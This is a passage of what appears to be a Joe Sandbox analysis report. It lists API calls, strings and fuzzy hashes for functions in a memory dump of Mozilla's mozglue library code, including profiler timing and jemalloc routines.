floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3739EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373EE2

Part of subcall function 6C376180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C3761DD
Part of subcall function 6C376180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C37622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3740F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C37412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C374157

Part of subcall function 6C376180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C376250
Part of subcall function 6C376180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C376292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C37441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C374448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C37484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C374863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C374878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C374896
free.MOZGLUE ref: 6C37489F

Strings

$me/, xrefs: 6C3734DB
, xrefs: 6C374CD2

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID: $$me/
API String ID: 3842999660-118766224
Opcode ID: 39695d4f2eec1780c29c1acd15e9d7abfc1d34e7b73a6c1ee048540a1906ed62
Instruction ID: 4dddae58992c7c5533cd3f5a8be0c0d55e1aafe81799c92dc85a265d1c0d4fad
Opcode Fuzzy Hash: 39695d4f2eec1780c29c1acd15e9d7abfc1d34e7b73a6c1ee048540a1906ed62
Instruction Fuzzy Hash: 8EF24B749097808FC731CF28C08469AFBF5BF8A314F118A5ED99997711DB72A896CF42

Function 6C35F070 Relevance: 61.7, APIs: 30, Strings: 5, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C35F09B

Part of subcall function 6C335B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C3356EE,?,00000001), ref: 6C335B85
Part of subcall function 6C335B50: EnterCriticalSection.KERNEL32(6C39F688,?,?,?,6C3356EE,?,00000001), ref: 6C335B90
Part of subcall function 6C335B50: LeaveCriticalSection.KERNEL32(6C39F688,?,?,?,6C3356EE,?,00000001), ref: 6C335BD8
Part of subcall function 6C335B50: GetTickCount64.KERNEL32 ref: 6C335BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C35F0AC

Part of subcall function 6C335C50: GetTickCount64.KERNEL32 ref: 6C335D40
Part of subcall function 6C335C50: EnterCriticalSection.KERNEL32(6C39F688), ref: 6C335D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C35F0BE

Part of subcall function 6C335C50: __aulldiv.LIBCMT ref: 6C335DB4
Part of subcall function 6C335C50: LeaveCriticalSection.KERNEL32(6C39F688), ref: 6C335DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C35F155
GetCurrentThreadId.KERNEL32 ref: 6C35F1E0
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F1ED
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F212
GetCurrentThreadId.KERNEL32 ref: 6C35F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C35F248
GetCurrentThreadId.KERNEL32 ref: 6C35F2AE
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F2BB
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F2F8

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35F350
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F35D
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F381
GetCurrentThreadId.KERNEL32 ref: 6C35F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F3A0
GetCurrentThreadId.KERNEL32 ref: 6C35F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F491

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C35F3CF

Part of subcall function 6C35F070: GetCurrentThreadId.KERNEL32 ref: 6C35F440
Part of subcall function 6C35F070: AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F44D
Part of subcall function 6C35F070: ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C35F4A8
GetCurrentThreadId.KERNEL32 ref: 6C35F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F561
GetCurrentThreadId.KERNEL32 ref: 6C35F577
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F585
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F5A3

Strings

$me/, xrefs: 6C35F07C, 6C35F1BA, 6C35F32A, 6C35F41A
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C35F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C35F499
[I %d/%d] profiler_resume, xrefs: 6C35F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C35F3A8

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: $me/$[D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-677886819
Opcode ID: ec4c499c998b33111aade870a7e2eade4d217a430c5de18c2db0894db60bbb63
Instruction ID: 1ea8af41982c48f6e978bc28f032a72e3d29f73831123e51ab3bd31696c44e29
Opcode Fuzzy Hash: ec4c499c998b33111aade870a7e2eade4d217a430c5de18c2db0894db60bbb63
Instruction Fuzzy Hash: 9DD1F575A043049FDB109F68D404BAA77BDEF4E32CF51451AF99987B80EB725818CFA2

Function 6C3264C0 Relevance: 54.7, APIs: 24, Strings: 7, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C3264DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C3264F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C326505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C326518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C32652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C32671C
GetCurrentProcess.KERNEL32 ref: 6C326724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C32672F
GetCurrentProcess.KERNEL32 ref: 6C326759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C326764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C326A80
GetSystemInfo.KERNEL32(?), ref: 6C326ABE
__Init_thread_footer.LIBCMT ref: 6C326AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C326AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C326AF7

Strings

nvdxgiwrap.dll, xrefs: 6C326513
$me/, xrefs: 6C3264D0
_etoured.dll, xrefs: 6C3264ED
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C326798
user32.dll, xrefs: 6C326526
detoured.dll, xrefs: 6C3264DA
nvd3d9wrap.dll, xrefs: 6C326500

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: $me/$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-1019060416
Opcode ID: bd54b5ad51c0e514f947a7f11f84d4070052f1758e33bfc3cd9e4256e3e08b20
Instruction ID: 39df19b1c87b0ba5c93a0fabf3631eae53e28e5d67a6829bf1d6f0507248a06d
Opcode Fuzzy Hash: bd54b5ad51c0e514f947a7f11f84d4070052f1758e33bfc3cd9e4256e3e08b20
Instruction Fuzzy Hash: 47F1E370D052199FDF20CF24DC88BDAB7B9AF06318F144299E859E7641E736AE84CF91

Function 6C37C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C37C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C37C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C37C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C37CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C37DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C37DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C37DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C37E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C37E472

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 32dab3181be2a2554b1329678d82bc3a642f469febaa44944adeefff412f8252
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 6733CD71E0021A8FCB14CFA8C8806EDBBF2FF89314F284269D955AB745D735A945CFA4

Function 6C33ED10 Relevance: 33.9, APIs: 16, Strings: 3, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C33EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C33EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C341695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3416B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C341770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C341A3E

Strings

$me/, xrefs: 6C33ED25
~q1l, xrefs: 6C33ED13
~q1l, xrefs: 6C33ED10

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: $me/$~q1l$~q1l
API String ID: 3693777188-3223435157
Opcode ID: 12eb717375bebaf66ad6caf9229d494f9d4f2553e13fd3ae5d2eb240a727a4ec
Instruction ID: 1085f12aa535e55e0c8dc16ee71acd86ab4e4b67767b60ddb9b0cd650e8d7dde
Opcode Fuzzy Hash: 12eb717375bebaf66ad6caf9229d494f9d4f2553e13fd3ae5d2eb240a727a4ec
Instruction Fuzzy Hash: 1AB31771E00269CFCB14CFA8C890A9DB7F2BF49304F6582A9D459AB745D731AD86CF90

Function 6C32FD00 Relevance: 32.9, APIs: 17, Strings: 4, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E7B8), ref: 6C32FF81
LeaveCriticalSection.KERNEL32(6C39E7B8), ref: 6C33022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C330240
EnterCriticalSection.KERNEL32(6C39E768), ref: 6C33025B
LeaveCriticalSection.KERNEL32(6C39E768), ref: 6C33027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C32FE99, 6C32FEB7, 6C32FED3, 6C330DB8, 6C330DD3, 6C3319B4
$me/, xrefs: 6C32FEFF
<jemalloc>, xrefs: 6C330D62, 6C330D76, 6C330DA7
: (malloc) Error in VirtualFree(), xrefs: 6C330D67, 6C330D7B, 6C330DAC

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: $me/$: (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-617420012
Opcode ID: 83d1db86d737c92c983d23f7346aedb8755f47a62859ab5189181f5196a8027f
Instruction ID: f10728a20a334a03dade167807d7a3a2db6b3bc22171fdc74a9c6a5e8f93d2da
Opcode Fuzzy Hash: 83d1db86d737c92c983d23f7346aedb8755f47a62859ab5189181f5196a8027f
Instruction Fuzzy Hash: 84C2D171A057918FD714CF28C580716BBE1BF89328F28C66DE8A98B795D776E801CF81

Function 6C37E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C37E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C37EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C37F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C380E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C380E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C380EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C380ED4

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 27b70a8b886a16d927ea60dcbf5fa63db08e7f2964d59254649fc431746ebc6d
Instruction ID: 030ebde9897016f34901070c42968a2951629d9749cc978624eb5aaca98be4c9
Opcode Fuzzy Hash: 27b70a8b886a16d927ea60dcbf5fa63db08e7f2964d59254649fc431746ebc6d
Instruction Fuzzy Hash: EB639D71E0124A8FCB14CFA8C8906DDFBB2FF89314F298269D855AB745D734A945CFA0

Function 6C353E50 Relevance: 30.5, APIs: 13, Strings: 4, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C377770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>5l,?,?,?,6C353E7D,?,?), ref: 6C37777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C353F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C353F5C
VerSetConditionMask.NTDLL ref: 6C353F8D
VerSetConditionMask.NTDLL ref: 6C353F99
VerSetConditionMask.NTDLL ref: 6C353FA0
VerSetConditionMask.NTDLL ref: 6C353FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C353FB4

Strings

C>5l, xrefs: 6C353E93
$me/, xrefs: 6C353E66
nvinit.dll, xrefs: 6C354479
nvd3d9wrap.dll, xrefs: 6C354466

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: $me/$C>5l$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-24741536
Opcode ID: 10d25b3055db5ac5c0e0d420bbc125405a3913a56fc5b8bb5c657bbdb9ce3446
Instruction ID: 5991cfa3f6110c3594ddddadb39194e06608155ae1cf4fd7765b1159cf783271
Opcode Fuzzy Hash: 10d25b3055db5ac5c0e0d420bbc125405a3913a56fc5b8bb5c657bbdb9ce3446
Instruction Fuzzy Hash: DA52DF71610B898FDB14DF34C880EABB7E9AF45208F54092DE5D78B782DB34E919CB61

Function 6C32FEF0 Relevance: 25.3, APIs: 13, Strings: 3, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E7B8), ref: 6C32FF81
LeaveCriticalSection.KERNEL32(6C39E7B8), ref: 6C33022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C330240
EnterCriticalSection.KERNEL32(6C39E768), ref: 6C33025B
LeaveCriticalSection.KERNEL32(6C39E768), ref: 6C33027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C32FE99, 6C32FEB7, 6C32FED3, 6C330DB8, 6C330DD3, 6C3319B4, 6C331A10
$me/, xrefs: 6C32FEFF
MOZ_CRASH(), xrefs: 6C330CA7

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: $me/$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-1573002188
Opcode ID: 58fb4483d3e0a54b364506affb5b53425b38debb71d2fd697a6d715db4f83a55
Instruction ID: 2459f1227c5aa41ce6cb5d4d168d147fcb164a52ef6ca0afe0af170b2207bc20
Opcode Fuzzy Hash: 58fb4483d3e0a54b364506affb5b53425b38debb71d2fd697a6d715db4f83a55
Instruction Fuzzy Hash: A9B29B716057918FD718CF29C590716BBE1AF85328F28C66CE8AE8B795D772D840CF81

Function 6C365600 Relevance: 23.7, APIs: 6, Strings: 7, Instructions: 950COMMON

Download Yara Rule

Strings

name, xrefs: 6C365E79, 6C365E8F
$me/, xrefs: 6C365613
schema, xrefs: 6C36606D
expected a Count entry, xrefs: 6C365AC3
expected a Time entry, xrefs: 6C365CB6
ProfileBuffer parse error: %s, xrefs: 6C365AC8, 6C365CBB
data, xrefs: 6C366131

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID:
String ID: $me/$ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-3601152583
Opcode ID: 698f6975770ea7680bfa927f217dd81d89b8971378c461158f2e957f4d59f36d
Instruction ID: eac47d97d4e3b033b8f2872d278613adedc9315b200358d598f826262be5d8b2
Opcode Fuzzy Hash: 698f6975770ea7680bfa927f217dd81d89b8971378c461158f2e957f4d59f36d
Instruction Fuzzy Hash: D8922A75A083418FD724CF29C49079AB7E1BFC9308F14892DE59A9BB55DB31E809CF92

Function 6C327810 Relevance: 22.9, APIs: 12, Strings: 3, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E744), ref: 6C327885
LeaveCriticalSection.KERNEL32(6C39E744), ref: 6C3278A5
EnterCriticalSection.KERNEL32(6C39E784), ref: 6C3278AD
LeaveCriticalSection.KERNEL32(6C39E784), ref: 6C3278CD
EnterCriticalSection.KERNEL32(6C39E7DC), ref: 6C3278D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C3278E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C32795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C3279BB
LeaveCriticalSection.KERNEL32(?), ref: 6C327BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C327C82
LeaveCriticalSection.KERNEL32(6C39E7DC), ref: 6C327CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C327DAF

Strings

$me/, xrefs: 6C32781C
D9l, xrefs: 6C32787F
D9l, xrefs: 6C32789F

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: $me/$D9l$D9l
API String ID: 759993129-754860479
Opcode ID: 970e61ffa2585a85f5f878a82f38095c109c535561b11c79382da152aaf299c5
Instruction ID: 0f473c395af845cd8e7f2a27606309bdd3225a482b2d7bc107e48f6a5d9c31ae
Opcode Fuzzy Hash: 970e61ffa2585a85f5f878a82f38095c109c535561b11c79382da152aaf299c5
Instruction Fuzzy Hash: 03028431E0121A8FDF54CF29C984799B7B5FF49318F1542AAD809A7711E735AD90CF80

Function 6C357E10 Relevance: 21.4, APIs: 6, Strings: 6, Instructions: 403COMMON

Download Yara Rule

Strings

schema, xrefs: 6C3581E3, 6C358311
name, xrefs: 6C357ECF, 6C358335
$me/, xrefs: 6C357E24
v9l, xrefs: 6C358207
(pre-xul), xrefs: 6C357E88
data, xrefs: 6C358280, 6C3583E1

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$$me/$data$name$schema$v9l
API String ID: 3412268980-2552736457
Opcode ID: 9847e6bf56908330f019fbd4beb3bb27f9a3395892dc9c89043fecf1268d959c
